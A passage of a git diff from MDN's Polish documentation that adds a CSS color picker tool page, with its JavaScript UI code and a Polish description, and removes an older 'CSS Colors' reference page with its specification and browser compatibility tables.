+		var topic	= node.getAttribute('data-topic');
+		var unit	= node.getAttribute('data-unit');
+		var name 	= node.getAttribute('data-info');
+		var sensivity = node.getAttribute('data-sensivity') | 0;
+		var precision = node.getAttribute('data-precision') | 0;
+
+		this.min = isNaN(min) ? 0 : min;
+		this.max = isNaN(max) ? 100 : max;
+		this.precision = precision >= 0 ? precision : 0;
+		this.step = step < 0 || isNaN(step) ? 1 : step.toFixed(precision);
+		this.topic = topic;
+		this.node = node;
+		this.unit = unit === null ? '' : unit;
+		this.sensivity = sensivity > 0 ? sensivity : 5;
+		value = isNaN(value) ? this.min : value;
+
+		var input = new InputComponent(this);
+		var slider_left  = new SliderComponent(this, -1);
+		var slider_right = new SliderComponent(this,  1);
+
+		slider_left.className = 'ui-input-slider-left';
+		slider_right.className = 'ui-input-slider-right';
+
+		if (name) {
+			var info = document.createElement('span');
+			info.className = 'ui-input-slider-info';
+			info.textContent = name;
+			node.appendChild(info);
+		}
+
+		node.appendChild(slider_left);
+		node.appendChild(input);
+		node.appendChild(slider_right);
+
+		this.input = input;
+		sliders[topic] = this;
+		setValue(topic, value);
+	};
+
+	InputSlider.prototype.setInputValue = function setInputValue() {
+		this.input.value = this.value.toFixed(this.precision) + this.unit;
+	};
+
+	var setValue = function setValue(topic, value, send_notify) {
+		var slider = sliders[topic];
+		if (slider === undefined)
+			return;
+
+		value = parseFloat(value.toFixed(slider.precision));
+
+		if (value > slider.max) value = slider.max;
+		if (value < slider.min)	value = slider.min;
+
+		slider.value = value;
+		slider.node.setAttribute('data-value', value);
+
+		slider.setInputValue();
+
+		if (send_notify === false)
+			return;
+
+		notify.call(slider);
+	};
+
+	var setMax = function setMax(topic, value) {
+		var slider = sliders[topic];
+		if (slider === undefined)
+			return;
+
+		slider.max = value;
+		setValue(topic, slider.value);
+	};
+
+	var setMin = function setMin(topic, value) {
+		var slider = sliders[topic];
+		if (slider === undefined)
+			return;
+
+		slider.min = value;
+		setValue(topic, slider.value);
+	};
+
+	var setUnit = function setUnit(topic, unit) {
+		var slider = sliders[topic];
+		if (slider === undefined)
+			return;
+
+		slider.unit = unit;
+		setValue(topic, slider.value);
+	};
+
+	var setStep = function setStep(topic, value) {
+		var slider = sliders[topic];
+		if (slider === undefined)
+			return;
+
+		slider.step = parseFloat(value);
+		setValue(topic, slider.value);
+	};
+
+	var setPrecision = function setPrecision(topic, value) {
+		var slider = sliders[topic];
+		if (slider === undefined)
+			return;
+
+		value = value | 0;
+		slider.precision = value;
+
+		var step = parseFloat(slider.step.toFixed(value));
+		if (step === 0)
+			slider.step = 1 / Math.pow(10, value);
+
+		setValue(topic, slider.value);
+	};
+
+	var setSensivity = function setSensivity(topic, value) {
+		var slider = sliders[topic];
+		if (slider === undefined)
+			return;
+
+		value = value | 0;
+
+		slider.sensivity = value > 0 ? value : 5;
+	};
+
+	var getNode =  function getNode(topic) {
+		return sliders[topic].node;
+	};
+
+	var getPrecision =  function getPrecision(topic) {
+		return sliders[topic].precision;
+	};
+
+	var getStep =  function getStep(topic) {
+		return sliders[topic].step;
+	};
+
+	var subscribe = function subscribe(topic, callback) {
+		if (subscribers[topic] === undefined)
+			subscribers[topic] = [];
+		subscribers[topic].push(callback);
+	};
+
+	var unsubscribe = function unsubscribe(topic, callback) {
+		subscribers[topic].indexOf(callback);
+		subscribers[topic].splice(index, 1);
+	};
+
+	var notify = function notify() {
+		if (subscribers[this.topic] === undefined)
+			return;
+		for (var i = 0; i < subscribers[this.topic].length; i++)
+			subscribers[this.topic][i](this.value);
+	};
+
+	var createSlider = function createSlider(topic, label) {
+		var slider = document.createElement('div');
+		slider.className = 'ui-input-slider';
+		slider.setAttribute('data-topic', topic);
+
+		if (label !== undefined)
+			slider.setAttribute('data-info', label);
+
+		new InputSlider(slider);
+		return slider;
+	};
+
+	var init = function init() {
+		var elem = document.querySelectorAll('.ui-input-slider');
+		var size = elem.length;
+		for (var i = 0; i < size; i++)
+			new InputSlider(elem[i]);
+	};
+
+	return {
+		init : init,
+		setMax : setMax,
+		setMin : setMin,
+		setUnit : setUnit,
+		setStep : setStep,
+		getNode : getNode,
+		getStep : getStep,
+		setValue : setValue,
+		subscribe : subscribe,
+		unsubscribe : unsubscribe,
+		setPrecision : setPrecision,
+		setSensivity : setSensivity,
+		getPrecision : getPrecision,
+		createSlider : createSlider,
+	};
+
+})();
+
+
+'use strict';
+
+window.addEventListener("load", function() {
+	ColorPickerTool.init();
+});
+
+var ColorPickerTool = (function ColorPickerTool() {
+
+	/*========== Get DOM Element By ID ==========*/
+
+	function getElemById(id) {
+		return document.getElementById(id);
+	}
+
+	function allowDropEvent(e) {
+		e.preventDefault();
+	}
+
+	/*========== Make an element resizable relative to it's parent ==========*/
+
+	var UIComponent = (function UIComponent() {
+
+		function makeResizable(elem, axis) {
+			var valueX = 0;
+			var valueY = 0;
+			var action = 0;
+
+			var resizeStart = function resizeStart(e) {
+				e.stopPropagation();
+				e.preventDefault();
+				if (e.button !== 0)
+					return;
+
+				valueX = e.clientX - elem.clientWidth;
+				valueY = e.clientY - elem.clientHeight;
+
+				document.body.setAttribute('data-resize', axis);
+				document.addEventListener('mousemove', mouseMove);
+				document.addEventListener('mouseup', resizeEnd);
+			};
+
+			var mouseMove = function mouseMove(e) {
+				if (action >= 0)
+					elem.style.width = e.clientX - valueX + 'px';
+				if (action <= 0)
+					elem.style.height = e.clientY - valueY + 'px';
+			};
+
+			var resizeEnd = function resizeEnd(e) {
+				if (e.button !== 0)
+					return;
+
+				document.body.removeAttribute('data-resize', axis);
+				document.removeEventListener('mousemove', mouseMove);
+				document.removeEventListener('mouseup', resizeEnd);
+			};
+
+			var handle = document.createElement('div');
+			handle.className = 'resize-handle';
+
+			if (axis === 'width') action = 1;
+			else if (axis === 'height') action = -1;
+			else axis = 'both';
+
+			handle.className = 'resize-handle';
+			handle.setAttribute('data-resize', axis);
+			handle.addEventListener('mousedown', resizeStart);
+			elem.appendChild(handle);
+		};
+
+		/*========== Make an element draggable relative to it's parent ==========*/
+
+		var makeDraggable = function makeDraggable(elem, endFunction) {
+
+			var offsetTop;
+			var offsetLeft;
+
+			elem.setAttribute('data-draggable', 'true');
+
+			var dragStart = function dragStart(e) {
+				e.preventDefault();
+				e.stopPropagation();
+
+				if (e.target.getAttribute('data-draggable') !== 'true' ||
+					e.target !== elem || e.button !== 0)
+					return;
+
+				offsetLeft = e.clientX - elem.offsetLeft;
+				offsetTop = e.clientY - elem.offsetTop;
+
+				document.addEventListener('mousemove', mouseDrag);
+				document.addEventListener('mouseup', dragEnd);
+			};
+
+			var dragEnd = function dragEnd(e) {
+				if (e.button !== 0)
+					return;
+
+				document.removeEventListener('mousemove', mouseDrag);
+				document.removeEventListener('mouseup', dragEnd);
+			};
+
+			var mouseDrag = function mouseDrag(e) {
+				elem.style.left = e.clientX - offsetLeft + 'px';
+				elem.style.top = e.clientY - offsetTop + 'px';
+			};
+
+			elem.addEventListener('mousedown', dragStart, false);
+		};
+
+		return {
+			makeResizable : makeResizable,
+			makeDraggable : makeDraggable
+		};
+
+	})();
+
+	/*========== Color Class ==========*/
+
+	var Color = UIColorPicker.Color;
+	var HSLColor = UIColorPicker.HSLColor;
+
+	/**
+	 * ColorPalette
+	 */
+	var ColorPalette = (function ColorPalette() {
+
+		var samples = [];
+		var color_palette;
+		var complementary;
+
+		var hideNode = function(node) {
+			node.setAttribute('data-hidden', 'true');
+		};
+
+		var ColorSample = function ColorSample(id) {
+			var node = document.createElement('div');
+			node.className = 'sample';
+
+			this.uid = samples.length;
+			this.node = node;
+			this.color = new Color();
+
+			node.setAttribute('sample-id', this.uid);
+			node.setAttribute('draggable', 'true');
+			node.addEventListener('dragstart', this.dragStart.bind(this));
+			node.addEventListener('click', this.pickColor.bind(this));
+
+			samples.push(this);
+		};
+
+		ColorSample.prototype.updateBgColor = function updateBgColor() {
+			this.node.style.backgroundColor = this.color.getColor();
+		};
+
+		ColorSample.prototype.updateColor = function updateColor(color) {
+			this.color.copy(color);
+			this.updateBgColor();
+		};
+
+		ColorSample.prototype.updateHue = function updateHue(color, degree, steps) {
+			this.color.copy(color);
+			var hue = (steps * degree + this.color.hue) % 360;
+			if (hue < 0) hue += 360;
+			this.color.setHue(hue);
+			this.updateBgColor();
+		};
+
+		ColorSample.prototype.updateSaturation = function updateSaturation(color, value, steps) {
+			var saturation = color.saturation + value * steps;
+			if (saturation <= 0) {
+				this.node.setAttribute('data-hidden', 'true');
+				return;
+			}
+
+			this.node.removeAttribute('data-hidden');
+			this.color.copy(color);
+			this.color.setSaturation(saturation);
+			this.updateBgColor();
+		};
+
+		ColorSample.prototype.updateLightness = function updateLightness(color, value, steps) {
+			var lightness = color.lightness + value * steps;
+			if (lightness <= 0) {
+				this.node.setAttribute('data-hidden', 'true');
+				return;
+			}
+			this.node.removeAttribute('data-hidden');
+			this.color.copy(color);
+			this.color.setLightness(lightness);
+			this.updateBgColor();
+		};
+
+		ColorSample.prototype.updateBrightness = function updateBrightness(color, value, steps) {
+			var brightness = color.value + value * steps;
+			if (brightness <= 0) {
+				this.node.setAttribute('data-hidden', 'true');
+				return;
+			}
+			this.node.removeAttribute('data-hidden');
+			this.color.copy(color);
+			this.color.setValue(brightness);
+			this.updateBgColor();
+		};
+
+		ColorSample.prototype.updateAlpha = function updateAlpha(color, value, steps) {
+			var alpha = parseFloat(color.a) + value * steps;
+			if (alpha <= 0) {
+				this.node.setAttribute('data-hidden', 'true');
+				return;
+			}
+			this.node.removeAttribute('data-hidden');
+			this.color.copy(color);
+			this.color.a = parseFloat(alpha.toFixed(2));
+			this.updateBgColor();
+		};
+
+		ColorSample.prototype.pickColor = function pickColor() {
+			UIColorPicker.setColor('picker', this.color);
+		};
+
+		ColorSample.prototype.dragStart = function dragStart(e) {
+			e.dataTransfer.setData('sampleID', this.uid);
+			e.dataTransfer.setData('location', 'palette-samples');
+		};
+
+		var Palette = function Palette(text, size) {
+			this.samples = [];
+			this.locked = false;
+
+			var palette = document.createElement('div');
+			var title = document.createElement('div');
+			var controls = document.createElement('div');
+			var container = document.createElement('div');
+			var lock = document.createElement('div');
+
+			container.className = 'container';
+			title.className = 'title';
+			palette.className = 'palette';
+			controls.className = 'controls';
+			lock.className = 'lock';
+			title.textContent = text;
+
+			controls.appendChild(lock);
+			container.appendChild(title);
+			container.appendChild(controls);
+			container.appendChild(palette);
+
+			lock.addEventListener('click', function () {
+				this.locked = !this.locked;
+				lock.setAttribute('locked-state', this.locked);
+			}.bind(this));
+
+			for(var i = 0; i < size; i++) {
+				var sample = new ColorSample();
+				this.samples.push(sample);
+				palette.appendChild(sample.node);
+			}
+
+			this.container = container;
+			this.title = title;
+		};
+
+		var createHuePalette = function createHuePalette() {
+			var palette = new Palette('Hue', 12);
+
+			UIColorPicker.subscribe('picker', function(color) {
+				if (palette.locked === true)
+					return;
+
+				for(var i = 0; i < 12; i++) {
+					palette.samples[i].updateHue(color, 30, i);
+				}
+			});
+
+			color_palette.appendChild(palette.container);
+		};
+
+		var createSaturationPalette = function createSaturationPalette() {
+			var palette = new Palette('Saturation', 11);
+
+			UIColorPicker.subscribe('picker', function(color) {
+				if (palette.locked === true)
+					return;
+
+				for(var i = 0; i < 11; i++) {
+					palette.samples[i].updateSaturation(color, -10, i);
+				}
+			});
+
+			color_palette.appendChild(palette.container);
+		};
+
+		/* Brightness or Lightness - depends on the picker mode */
+		var createVLPalette = function createSaturationPalette() {
+			var palette = new Palette('Lightness', 11);
+
+			UIColorPicker.subscribe('picker', function(color) {
+				if (palette.locked === true)
+					return;
+
+				if(color.format === 'HSL') {
+					palette.title.textContent = 'Lightness';
+					for(var i = 0; i < 11; i++)
+						palette.samples[i].updateLightness(color, -10, i);
+				}
+				else {
+					palette.title.textContent = 'Value';
+					for(var i = 0; i < 11; i++)
+						palette.samples[i].updateBrightness(color, -10, i);
+				}
+			});
+
+			color_palette.appendChild(palette.container);
+		};
+
+		var isBlankPalette = function isBlankPalette(container, value) {
+			if (value === 0) {
+				container.setAttribute('data-collapsed', 'true');
+				return true;
+			}
+
+			container.removeAttribute('data-collapsed');
+			return false;
+		};
+
+		var createAlphaPalette = function createAlphaPalette() {
+			var palette = new Palette('Alpha', 10);
+
+			UIColorPicker.subscribe('picker', function(color) {
+				if (palette.locked === true)
+					return;
+
+				for(var i = 0; i < 10; i++) {
+					palette.samples[i].updateAlpha(color, -0.1, i);
+				}
+			});
+
+			color_palette.appendChild(palette.container);
+		};
+
+		var getSampleColor = function getSampleColor(id) {
+			if (samples[id] !== undefined && samples[id]!== null)
+				return new Color(samples[id].color);
+		};
+
+		var init = function init() {
+			color_palette = getElemById('color-palette');
+
+			createHuePalette();
+			createSaturationPalette();
+			createVLPalette();
+			createAlphaPalette();
+
+		};
+
+		return {
+			init : init,
+			getSampleColor : getSampleColor
+		};
+
+	})();
+
+	/**
+	 * ColorInfo
+	 */
+	var ColorInfo = (function ColorInfo() {
+
+		var info_box;
+		var select;
+		var RGBA;
+		var HEXA;
+		var HSLA;
+
+		var updateInfo = function updateInfo(color) {
+			if (color.a | 0 === 1) {
+				RGBA.info.textContent = 'RGB';
+				HSLA.info.textContent = 'HSL';
+			}
+			else {
+				RGBA.info.textContent = 'RGBA';
+				HSLA.info.textContent = 'HSLA';
+			}
+
+			RGBA.value.value = color.getRGBA();
+			HSLA.value.value = color.getHSLA();
+			HEXA.value.value = color.getHexa();
+		};
+
+		var InfoProperty = function InfoProperty(info) {
+
+			var node = document.createElement('div');
+			var title = document.createElement('div');
+			var value = document.createElement('input');
+			var copy = document.createElement('div');
+
+			node.className = 'property';
+			title.className = 'type';
+			value.className = 'value';
+			copy.className = 'copy';
+
+			title.textContent = info;
+			value.setAttribute('type', 'text');
+
+			copy.addEventListener('click', function() {
+				value.select();
+			});
+
+			node.appendChild(title);
+			node.appendChild(value);
+			node.appendChild(copy);
+
+			this.node = node;
+			this.value = value;
+			this.info = title;
+
+			info_box.appendChild(node);
+		};
+
+		var init = function init() {
+
+			info_box = getElemById('color-info');
+
+			RGBA = new InfoProperty('RGBA');
+			HSLA = new InfoProperty('HSLA');
+			HEXA = new InfoProperty('HEXA');
+
+			UIColorPicker.subscribe('picker', updateInfo);
+
+		};
+
+		return {
+			init: init
+		};
+
+	})();
+
+	/**
+	 * ColorPicker Samples
+	 */
+	var ColorPickerSamples = (function ColorPickerSamples() {
+
+		var samples = [];
+		var nr_samples = 0;
+		var active = null;
+		var container = null;
+		var	samples_per_line = 10;
+		var trash_can = null;
+		var base_color = new HSLColor(0, 50, 100);
+		var add_btn;
+		var add_btn_pos;
+
+		var ColorSample = function ColorSample() {
+			var node = document.createElement('div');
+			node.className = 'sample';
+
+			this.uid = samples.length;
+			this.index = nr_samples++;
+			this.node = node;
+			this.color = new Color(base_color);
+
+			node.setAttribute('sample-id', this.uid);
+			node.setAttribute('draggable', 'true');
+
+			node.addEventListener('dragstart', this.dragStart.bind(this));
+			node.addEventListener('dragover' , allowDropEvent);
+			node.addEventListener('drop'     , this.dragDrop.bind(this));
+
+			this.updatePosition(this.index);
+			this.updateBgColor();
+			samples.push(this);
+		};
+
+		ColorSample.prototype.updateBgColor = function updateBgColor() {
+			this.node.style.backgroundColor = this.color.getColor();
+		};
+
+		ColorSample.prototype.updatePosition = function updatePosition(index) {
+			this.index = index;
+			this.posY = 5 + ((index / samples_per_line) | 0) * 52;
+			this.posX = 5 + ((index % samples_per_line) | 0) * 52;
+			this.node.style.top  = this.posY + 'px';
+			this.node.style.left = this.posX + 'px';
+		};
+
+		ColorSample.prototype.updateColor = function updateColor(color) {
+			this.color.copy(color);
+			this.updateBgColor();
+		};
+
+		ColorSample.prototype.activate = function activate() {
+			UIColorPicker.setColor('picker', this.color);
+			this.node.setAttribute('data-active', 'true');
+		};
+
+		ColorSample.prototype.deactivate = function deactivate() {
+			this.node.removeAttribute('data-active');
+		};
+
+		ColorSample.prototype.dragStart = function dragStart(e) {
+			e.dataTransfer.setData('sampleID', this.uid);
+			e.dataTransfer.setData('location', 'picker-samples');
+		};
+
+		ColorSample.prototype.dragDrop = function dragDrop(e) {
+			e.stopPropagation();
+			this.color = Tool.getSampleColorFrom(e);
+			this.updateBgColor();
+		};
+
+		ColorSample.prototype.deleteSample = function deleteSample() {
+			container.removeChild(this.node);
+			samples[this.uid] = null;
+			nr_samples--;
+		};
+
+		var updateUI = function updateUI() {
+			updateContainerProp();
+
+			var index = 0;
+			var nr = samples.length;
+			for (var i=0; i < nr; i++)
+				if (samples[i] !== null) {
+					samples[i].updatePosition(index);
+					index++;
+				}
+
+			AddSampleButton.updatePosition(index);
+		};
+
+		var deleteSample = function deleteSample(e) {
+			trash_can.parentElement.setAttribute('drag-state', 'none');
+
+			var location = e.dataTransfer.getData('location');
+			if (location !== 'picker-samples')
+				return;
+
+			var sampleID = e.dataTransfer.getData('sampleID');
+			samples[sampleID].deleteSample();
+			console.log(samples);
+
+			updateUI();
+		};
+
+		var createDropSample = function createDropSample() {
+			var sample = document.createElement('div');
+			sample.id = 'drop-effect-sample';
+			sample.className = 'sample';
+			container.appendChild(sample);
+		};
+
+		var setActivateSample = function setActivateSample(e) {
+			if (e.target.className !== 'sample')
+				return;
+
+			unsetActiveSample(active);
+			Tool.unsetVoidSample();
+			CanvasSamples.unsetActiveSample();
+			active = samples[e.target.getAttribute('sample-id')];
+			active.activate();
+		};
+
+		var unsetActiveSample = function unsetActiveSample() {
+			if (active)
+				active.deactivate();
+			active = null;
+		};
+
+		var getSampleColor = function getSampleColor(id) {
+			if (samples[id] !== undefined && samples[id]!== null)
+				return new Color(samples[id].color);
+		};
+
+		var updateContainerProp = function updateContainerProp() {
+			samples_per_line = ((container.clientWidth - 5) / 52) | 0;
+			var height = 52 * (1 + (nr_samples / samples_per_line) | 0);
+			container.style.height = height + 10 + 'px';
+		};
+
+		var AddSampleButton = (function AddSampleButton() {
+			var node;
+			var _index = 0;
+			var _posX;
+			var _posY;
+
+			var updatePosition = function updatePosition(index) {
+				_index = index;
+				_posY = 5 + ((index / samples_per_line) | 0) * 52;
+				_posX = 5 + ((index % samples_per_line) | 0) * 52;
+
+				node.style.top  = _posY + 'px';
+				node.style.left = _posX + 'px';
+			};
+
+			var addButtonClick = function addButtonClick() {
+				var sample = new ColorSample();
+				container.appendChild(sample.node);
+				updatePosition(_index + 1);
+				updateUI();
+			};
+
+			var init = function init() {
+				node = document.createElement('div');
+				var icon = document.createElement('div');
+
+				node.className = 'sample';
+				icon.id = 'add-icon';
+				node.appendChild(icon);
+				node.addEventListener('click', addButtonClick);
+
+				updatePosition(0);
+				container.appendChild(node);
+			};
+
+			return {
+				init : init,
+				updatePosition : updatePosition
+			};
+		})();
+
+		var init = function init() {
+			container = getElemById('picker-samples');
+			trash_can = getElemById('trash-can');
+
+			AddSampleButton.init();
+
+			for (var i=0; i<16; i++) {
+				var sample = new ColorSample();
+				container.appendChild(sample.node);
+			}
+
+			AddSampleButton.updatePosition(samples.length);
+			updateUI();
+
+			active = samples[0];
+			active.activate();
+
+			container.addEventListener('click', setActivateSample);
+
+			trash_can.addEventListener('dragover', allowDropEvent);
+			trash_can.addEventListener('dragenter', function() {
+				this.parentElement.setAttribute('drag-state', 'enter');
+			});
+			trash_can.addEventListener('dragleave', function(e) {
+				this.parentElement.setAttribute('drag-state', 'none');
+			});
+			trash_can.addEventListener('drop', deleteSample);
+
+			UIColorPicker.subscribe('picker', function(color) {
+				if (active)
+					active.updateColor(color);
+			});
+
+		};
+
+		return {
+			init : init,
+			getSampleColor : getSampleColor,
+			unsetActiveSample : unsetActiveSample
+		};
+
+	})();
+
+	/**
+	 * Canvas Samples
+	 */
+	var CanvasSamples = (function CanvasSamples() {
+
+		var active = null;
+		var canvas = null;
+		var samples = [];
+		var zindex = null;
+		var tutorial = true;
+
+		var CanvasSample = function CanvasSample(color, posX, posY) {
+
+			var node = document.createElement('div');
+			var pick = document.createElement('div');
+			var delete_btn = document.createElement('div');
+			node.className = 'sample';
+			pick.className = 'pick';
+			delete_btn.className = 'delete';
+
+			this.uid = samples.length;
+			this.node = node;
+			this.color = color;
+			this.updateBgColor();
+			this.zIndex = 1;
+
+			node.style.top = posY - 50 + 'px';
+			node.style.left = posX - 50 + 'px';
+			node.setAttribute('sample-id', this.uid);
+
+			node.appendChild(pick);
+			node.appendChild(delete_btn);
+
+			var activate = function activate() {
+				setActiveSample(this);
+			}.bind(this);
+
+			node.addEventListener('dblclick', activate);
+			pick.addEventListener('click', activate);
+			delete_btn.addEventListener('click', this.deleteSample.bind(this));
+
+			UIComponent.makeDraggable(node);
+			UIComponent.makeResizable(node);
+
+			samples.push(this);
+			canvas.appendChild(node);
+			return this;
+		};
+
+		CanvasSample.prototype.updateBgColor = function updateBgColor() {
+			this.node.style.backgroundColor = this.color.getColor();
+		};
+
+		CanvasSample.prototype.updateColor = function updateColor(color) {
+			this.color.copy(color);
+			this.updateBgColor();
+		};
+
+		CanvasSample.prototype.updateZIndex = function updateZIndex(value) {
+			this.zIndex = value;
+			this.node.style.zIndex = value;
+		};
+
+		CanvasSample.prototype.activate = function activate() {
+			this.node.setAttribute('data-active', 'true');
+			zindex.setAttribute('data-active', 'true');
+
+			UIColorPicker.setColor('picker', this.color);
+			InputSliderManager.setValue('z-index', this.zIndex);
+		};
+
+		CanvasSample.prototype.deactivate = function deactivate() {
+			this.node.removeAttribute('data-active');
+			zindex.removeAttribute('data-active');
+		};
+
+		CanvasSample.prototype.deleteSample = function deleteSample() {
+			if (active === this)
+				unsetActiveSample();
+			canvas.removeChild(this.node);
+			samples[this.uid] = null;
+		};
+
+		CanvasSample.prototype.updatePosition = function updatePosition(posX, posY) {
+			this.node.style.top = posY - this.startY + 'px';
+			this.node.style.left = posX - this.startX + 'px';
+		};
+
+		var canvasDropEvent = function canvasDropEvent(e) {
+			var color = Tool.getSampleColorFrom(e);
+
+			if (color) {
+				var offsetX = e.pageX - canvas.offsetLeft;
+				var offsetY = e.pageY - canvas.offsetTop;
+				var sample = new CanvasSample(color, offsetX, offsetY);
+				if (tutorial) {
+					tutorial = false;
+					canvas.removeAttribute('data-tutorial');
+					var info = new CanvasSample(new Color(), 100, 100);
+					info.node.setAttribute('data-tutorial', 'dblclick');
+				}
+			}
+
+		};
+
+		var setActiveSample = function setActiveSample(sample) {
+			ColorPickerSamples.unsetActiveSample();
+			Tool.unsetVoidSample();
+			unsetActiveSample();
+			active = sample;
+			active.activate();
+		};
+
+		var unsetActiveSample = function unsetActiveSample() {
+			if (active)
+				active.deactivate();
+			active = null;
+		};
+
+		var createToggleBgButton = function createToggleBgButton() {
+			var button = document.createElement('div');
+			var state = false;
+			button.className = 'toggle-bg';
+			canvas.appendChild(button);
+
+			button.addEventListener('click', function() {
+				console.log(state);
+				state = !state;
+				canvas.setAttribute('data-bg', state);
+			});
+		};
+
+		var init = function init() {
+			canvas = getElemById('canvas');
+			zindex = getElemById('zindex');
+
+			canvas.addEventListener('dragover', allowDropEvent);
+			canvas.addEventListener('drop', canvasDropEvent);
+
+			createToggleBgButton();
+
+			UIColorPicker.subscribe('picker', function(color) {
+				if (active)	active.updateColor(color);
+			});
+
+			InputSliderManager.subscribe('z-index', function (value) {
+				if (active)	active.updateZIndex(value);
+			});
+
+			UIComponent.makeResizable(canvas, 'height');
+		};
+
+		return {
+			init : init,
+			unsetActiveSample : unsetActiveSample
+		};
+
+	})();
+
+	var StateButton = function StateButton(node, state) {
+		this.state = false;
+		this.callback = null;
+
+		node.addEventListener('click', function() {
+			this.state = !this.state;
+			if (typeof this.callback === "function")
+				this.callback(this.state);
+		}.bind(this));
+	};
+
+	StateButton.prototype.set = function set() {
+		this.state = true;
+		if (typeof this.callback === "function")
+			this.callback(this.state);
+	};
+
+	StateButton.prototype.unset = function unset() {
+		this.state = false;
+		if (typeof this.callback === "function")
+			this.callback(this.state);
+	};
+
+	StateButton.prototype.subscribe = function subscribe(func) {
+		this.callback = func;
+	};
+
+
+	/**
+	 * Tool
+	 */
+	var Tool = (function Tool() {
+
+		var samples = [];
+		var controls = null;
+		var void_sw;
+
+		var createPickerModeSwitch = function createPickerModeSwitch() {
+			var parent = getElemById('controls');
+			var icon = document.createElement('div');
+			var button = document.createElement('div');
+			var hsv = document.createElement('div');
+			var hsl = document.createElement('div');
+			var active = null;
+
+			icon.className = 'icon picker-icon';
+			button.className = 'switch';
+			button.appendChild(hsv);
+			button.appendChild(hsl);
+
+			hsv.textContent = 'HSV';
+			hsl.textContent = 'HSL';
+
+			active = hsl;
+			active.setAttribute('data-active', 'true');
+
+			function switchPickingModeTo(elem) {
+				active.removeAttribute('data-active');
+				active = elem;
+				active.setAttribute('data-active', 'true');
+				UIColorPicker.setPickerMode('picker', active.textContent);
+			};
+
+			var picker_sw = new StateButton(icon);
+			picker_sw.subscribe(function() {
+				if (active === hsv)
+					switchPickingModeTo(hsl);
+				else
+					switchPickingModeTo(hsv);
+			});
+
+			hsv.addEventListener('click', function() {
+				switchPickingModeTo(hsv);
+			});
+			hsl.addEventListener('click', function() {
+				switchPickingModeTo(hsl);
+			});
+
+			parent.appendChild(icon);
+			parent.appendChild(button);
+		};
+
+		var setPickerDragAndDrop = function setPickerDragAndDrop() {
+			var preview = document.querySelector('#picker .preview-color');
+			var picking_area = document.querySelector('#picker .picking-area');
+
+			preview.setAttribute('draggable', 'true');
+			preview.addEventListener('drop', drop);
+			preview.addEventListener('dragstart', dragStart);
+			preview.addEventListener('dragover', allowDropEvent);
+
+			picking_area.addEventListener('drop', drop);
+			picking_area.addEventListener('dragover', allowDropEvent);
+
+			function drop(e) {
+				var color = getSampleColorFrom(e);
+				UIColorPicker.setColor('picker', color);
+			};
+
+			function dragStart(e) {
+				e.dataTransfer.setData('sampleID', 'picker');
+				e.dataTransfer.setData('location', 'picker');
+			};
+		};
+
+		var getSampleColorFrom = function getSampleColorFrom(e) {
+			var sampleID = e.dataTransfer.getData('sampleID');
+			var location = e.dataTransfer.getData('location');
+
+			if (location === 'picker')
+				return UIColorPicker.getColor(sampleID);
+			if (location === 'picker-samples')
+				return ColorPickerSamples.getSampleColor(sampleID);
+			if (location === 'palette-samples')
+				return ColorPalette.getSampleColor(sampleID);
+		};
+
+		var setVoidSwitch = function setVoidSwitch() {
+			var void_sample = getElemById('void-sample');
+			void_sw = new StateButton(void_sample);
+			void_sw.subscribe( function (state) {
+				void_sample.setAttribute('data-active', state);
+				if (state === true) {
+					ColorPickerSamples.unsetActiveSample();
+					CanvasSamples.unsetActiveSample();
+				}
+			});
+		};
+
+		var unsetVoidSample = function unsetVoidSample() {
+			void_sw.unset();
+		};
+
+		var init = function init() {
+			controls = getElemById('controls');
+
+			var color = new Color();
+			color.setHSL(0, 51, 51);
+			UIColorPicker.setColor('picker', color);
+
+			setPickerDragAndDrop();
+			createPickerModeSwitch();
+			setVoidSwitch();
+		};
+
+		return {
+			init : init,
+			unsetVoidSample : unsetVoidSample,
+			getSampleColorFrom : getSampleColorFrom
+		};
+
+	})();
+
+	var init = function init() {
+		UIColorPicker.init();
+		InputSliderManager.init();
+		ColorInfo.init();
+		ColorPalette.init();
+		ColorPickerSamples.init();
+		CanvasSamples.init();
+		Tool.init();
+	};
+
+	return {
+		init : init
+	};
+
+})();
+
+
+
+ +

{{CSSRef}}

+ +

To narzędzie ułatwia tworzenie, wybieranie i eksperymentowanie z niestandadrowymi kolorami w sieci. Umożliwia także konwersję pomiędzy różnymi formatami kolorów obsługiwanymi przez CSS, w tym: kolory HEXA, RGB (Red/Green/Blue) i HSL (Hue/Saturation/Lightness). Możliwa jest też kontrola kanału alpha w formatach RGB (rgba) i HSL.

+ +

Każdy wybrany kolor prezentowany jest we wszystkich trzech standardowych formatach CSS . Dodatkowo, bazując na obecnie wybranym kolorze, tworzona jest paleta HSL, HSV oraz alpha. Okno wyboru koloru "zakraplacz" można przełączać pomiędzy formatami HSL i HSV. Przeciągając kolory do pojemnika na dole i poruszając nimi nad sobą możesz przetestować jak wyglądają obok siebie. Zmieniaj względną wartość z-index aby przesunąc kolor na wierzch lub schować za innym.

+ +

To narzędzie pozwoli ci odnależć idealne kolory CSS do wykorzystania w twoim HTML.

+ +
{{ EmbedLiveSample('ColorPicker_Tool', '100%', '900') }}
+ +

Wygenerowane kolory można użyć wszędzie gdzie potrzeba w obrębie CSS i HTML, chyba że stwierdzono inaczej.

+ +

Zobacz też

+ +

Więcej o używaniu kolrów, sprawdź:

+ + diff --git a/files/pl/web/css/css_colors/index.html b/files/pl/web/css/css_colors/index.html deleted file mode 100644 index 93bc7ca016..0000000000 --- a/files/pl/web/css/css_colors/index.html +++ /dev/null @@ -1,120 +0,0 @@ ---- -title: CSS Colors -slug: Web/CSS/CSS_Colors -tags: - - CSS - - CSS Colors - - NeedsTranslation - - Overview - - Reference - - TopicStub -translation_of: Web/CSS/CSS_Color -translation_of_original: Web/CSS/CSS_Colors ---- -
{{CSSRef}}
- -

CSS Colors is a module of CSS that deals with colors, color types and transparency.

- -

Reference

- -

Properties

- -
- -
- -

CSS Data Types

- -

{{cssxref("<color>")}}

- -

Guides

- -

None.

- -

Specifications

- - - - - - - - - - - - - - - - - - - - - - - - - - -
SpecificationStatusComment
{{SpecName('CSS3 Colors')}}{{Spec2('CSS3 Colors')}} 
{{SpecName('CSS2.1', 'colors.html')}}{{Spec2('CSS2.1')}} 
{{SpecName('CSS1')}}{{Spec2('CSS1')}}Initial definition
- -

Browser compatibility

- -
{{CompatibilityTable}}
- -
- - - - - - - - - - - - - - - - - - - -
FeatureChromeFirefox (Gecko)Internet ExplorerOperaSafari
Basic support1.0{{CompatGeckoDesktop("1")}}3.03.51.0
-
- -
- - - - - - - - - - - - - - - - - - - -
